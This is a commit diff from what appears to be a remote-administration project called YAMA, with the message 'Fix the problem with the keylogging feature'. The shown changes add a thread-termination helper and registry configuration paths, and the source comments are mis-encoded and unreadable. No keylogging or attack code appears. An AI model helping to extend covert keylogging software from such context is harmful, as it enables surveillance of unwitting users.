Fix the problem with the keylogging feature
This commit is contained in:
@@ -567,6 +567,8 @@ public:
|
||||
}
|
||||
} CONNECT_ADDRESS ;
|
||||
|
||||
#define FOREVER_RUN 2
|
||||
|
||||
// <20>ͻ<EFBFBD><CDBB>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD>ṹ<EFBFBD><E1B9B9>, <20><><EFBFBD><EFBFBD>5<EFBFBD><35><EFBFBD><EFBFBD>Ա:
|
||||
// <20><><EFBFBD><EFBFBD>״̬(run)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(h)<29><>ͨѶ<CDA8>ͻ<EFBFBD><CDBB><EFBFBD>(p)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߲<EFBFBD><DFB2><EFBFBD>(user)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ(conn).
|
||||
struct ThreadInfo
|
||||
@@ -577,6 +579,18 @@ struct ThreadInfo
|
||||
void* user;
|
||||
CONNECT_ADDRESS* conn;
|
||||
ThreadInfo() : run(1), h(NULL), p(NULL), user(NULL), conn(NULL) { }
|
||||
void Exit(int wait_sec = 15) {
|
||||
run = FALSE;
|
||||
for (int count = 0; p && count++ < wait_sec; Sleep(1000));
|
||||
#ifdef _WIN32
|
||||
if (p) TerminateThread(h, 0x20250626);
|
||||
if (p) CloseHandle(h);
|
||||
#endif
|
||||
p = NULL;
|
||||
h = NULL;
|
||||
user = NULL;
|
||||
conn = NULL;
|
||||
}
|
||||
};
|
||||
|
||||
struct PluginParam {
|
||||
|
||||
@@ -2,6 +2,9 @@
|
||||
|
||||
#include "common/commands.h"
|
||||
|
||||
#define YAMA_PATH "Software\\YAMA"
|
||||
#define CLIENT_PATH "Software\\ServerD11"
|
||||
|
||||
class config
|
||||
{
|
||||
private:
|
||||
@@ -49,10 +52,10 @@ private:
|
||||
public:
|
||||
~iniFile() {}
|
||||
|
||||
iniFile()
|
||||
iniFile(const std::string& path = YAMA_PATH)
|
||||
{
|
||||
m_hRootKey = HKEY_CURRENT_USER;
|
||||
m_SubKeyPath = "Software\\YAMA";
|
||||
m_SubKeyPath = path;
|
||||
}
|
||||
|
||||
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5>дΪ<D0B4>ַ<EFBFBD><D6B7><EFBFBD>
|
||||
|
||||
Reference in New Issue
Block a user